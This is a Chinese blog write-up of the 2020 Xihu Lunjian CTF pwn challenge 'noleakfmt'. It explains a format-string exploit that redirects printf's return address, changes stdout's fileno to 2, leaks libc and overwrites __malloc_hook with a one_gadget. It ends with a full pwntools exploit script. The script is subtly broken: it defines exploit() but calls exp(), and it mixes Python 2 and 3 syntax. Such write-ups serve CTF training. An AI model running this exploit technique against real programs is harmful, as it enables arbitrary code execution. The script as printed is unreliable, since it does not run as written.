2020 西湖论剑 pwn noleakfmt

在这里插入图片描述
canary没开,方便溢出。

主逻辑简单。
在这里插入图片描述
格式化字符串漏洞。
给了我们一个栈地址,但是主要问题是把标准输出关掉了。
我们要利用的呢就是将_IO_2_1_stdout_的_fileno从1改成2,为啥呢?
对于一个FILE结构体来说,最重要的就是_flags和_fileno,_fileno存储的是我们的文件描述符,对于某些情况或许我们要劫持_fileno才能达到我们的目的,而_flags则标志了该FILE的一些行为,这对于我们的泄露至关重要。

我们想办法劫持结构体的_fileno之后就可以从标准错误做一个输出。

那我们利用的一个思路如下。

第一步的思路是调用printf函数时会把_IO_2_1_stdout_的地址入栈。通过修改printf的函数返回地址为start可以使栈向低地址生长,这样就可以利用栈中的_IO_2_1_stdout_的地址
首先利用main函数返回值下面的一条栈指针链来修改printf的返回地址。
在这里插入图片描述
在这里插入图片描述
然后利用这个链条来把printf的返回值修改成start函数。
在这里插入图片描述
这里会因为地址问题我们需要爆破一下,调试的时候可以直接用set指令来改过来。

在这里插入图片描述

开始执行start函数。

然后就会有IO_FILE的指针。
在这里插入图片描述

在最下面又有一个链,我们来用它攻击_IO_2_1_stdout_
在这里插入图片描述

然后是第二步:修改_IO_2_1_stdout_的fileno的值为0x2
在这里插入图片描述

在这里插入图片描述

第三步泄漏libc地址
在这里插入图片描述

第四步修改栈中的数据为__malloc_hook的地址
向__malloc_hook中写入one_gadget
利用printf打印大量字符调用malloc

这就像非栈上的格式化字符串漏洞一样,利用栈链,将one_gadget写到malloc_hook就可以了。

第五步因为标准输出关了,所以就cat flag 1>&2

在这里插入图片描述

exp

#!/usr/bin/python3
#-*- coding:utf8 -*-
from pwn import *

context.log_level = 'debug'
libc = ELF('./libc.so.6')

def pwn(param1, param2, param3, p):
    payload = '%{}c%{}${}'.format(param1, param2, param3)
    p.sendline(payload)

def leak(p):
    p.recvuntil('gift : ')
    stack_addr = p.recv(14)
    addr = int(stack_addr, 16)
    info("addr ==> " + hex(addr))
    return addr
    

def exploit():
    p = process('./noleakfmt')

    start = 0x17b0
    #start = 0x8e0

    # leak stack addr
    addr = leak(p)

    offset = (addr - 12) & 0xffff
    info("offset ==> " + hex(offset))

    # 限制在这个范围才能正常使用%n
    if offset > 0x2000 or offset < 0x66c:
        p.close()
        return 0

    #################################################################
    #gdb.attach(p)
    pwn(offset, 11, 'hn', p)
    # 修改printf的返回值为start,使栈向低地址方向生长
    #gdb.attach(p)
    pwn(start, 37, 'hn', p)

    # 修改_IO_2_1_stdout_中的fileno=0x2
    offset = (addr - 0x54) & 0xffff
    info("offset ==> " + hex(offset))

    # 修改栈数据
    # 这里因为地址问题可能导致程序崩溃
    pwn(offset, 10, 'hn', p)

    # 修改栈中的_IO_2_1_stdout_指针指向fileno
    pwn(0x90, 36, 'hhn', p)
    # 修改fileno的值为0x2
    pwn(2, 26, 'hhn', p)
    #################################################################

    # leak libc address
    #gdb.attach(p)
    pwn(1, 9, 'p', p)
    p.recvuntil('\x01\x01')
    libc_base = int(p.recv(14), 16) - 0x20840
    libc.address = libc_base
    info("libc_base ==> " + hex(libc_base))
    
    if libc_base >> 40 != 0x7F:
        raise Exception('error leak!')

    one_gadget = [0x45226 + libc_base, 0x4527a + libc_base, 0xf0364 + libc_base, 0xf1207 + libc_base]
    malloc_hook = libc.symbols['__malloc_hook']

    # 把__malloc_hook添加到栈上
    pwn((malloc_hook & 0xffff), 36, 'hn', p) 
    # 向__malloc_hook中写入one_gadget
    pwn((one_gadget[3] & 0xffff), 26, 'hn', p)

    pwn(((malloc_hook + 2) & 0xffff), 36, 'hn', p) 
    pwn(((one_gadget[3] >> 16) & 0xffff), 26, 'hn', p)

    pwn(((malloc_hook + 4) & 0xffff), 36, 'hn', p) 
    #gdb.attach(p)
    pwn(((one_gadget[3] >> 32) & 0xffff), 26, 'hn', p)

    p.sendline("%99999c%10$n")
    p.sendline("cat flag 1>&2")
   
while True:
   try:
      global p
      exp()
      p.interactive()
   except:
      p.close()
      print 'trying...'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值